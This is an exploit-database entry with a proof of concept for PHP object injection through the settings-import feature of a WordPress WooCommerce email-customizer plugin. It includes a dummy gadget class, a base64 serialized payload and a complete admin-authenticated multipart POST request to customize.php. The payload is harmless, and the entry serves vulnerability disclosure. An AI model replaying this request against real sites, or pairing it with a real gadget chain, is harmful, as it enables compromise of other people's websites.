Share
## https://sploitus.com/exploit?id=WPEX-ID:39514705-C887-4A02-A77B-36E1DCCA8F5D
To simulate a gadget chain, put the following code in a plugin

class Evil {
  public function __wakeup() : void {
    die("Arbitrary deserialization");
  }
}

Create a file named import.dat with the following content and import it via the plugin: Tzo0OiJFdmlsIjowOnt9Ow== which is base64 encode of: O:4:"Evil":0:{};

POST /wp-admin/customize.php?kt-woomail-customize=1&url=http%3A%2F%2Flocalhost%2Fwordpress%2F%3Fkt-woomail-preview%3D1 HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------257490022338836228831019117590
Content-Length: 686
Origin: http://localhost
Connection: close
Cookie: [admin+]
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

-----------------------------257490022338836228831019117590
Content-Disposition: form-data; name="kadence-woomail-import-file"; filename="import.dat"
Content-Type: application/octet-stream

Tzo0OiJFdmlsIjowOnt9Ow==
-----------------------------257490022338836228831019117590
Content-Disposition: form-data; name="kt-woomail-import"

a4f4eba906
-----------------------------257490022338836228831019117590
Content-Disposition: form-data; name="_wp_http_referer"

/wp-admin/customize.php?kt-woomail-customize=1&url=http%3A%2F%2Flocalhost%2Fwordpress%2F%3Fkt-woomail-preview%3D1
-----------------------------257490022338836228831019117590--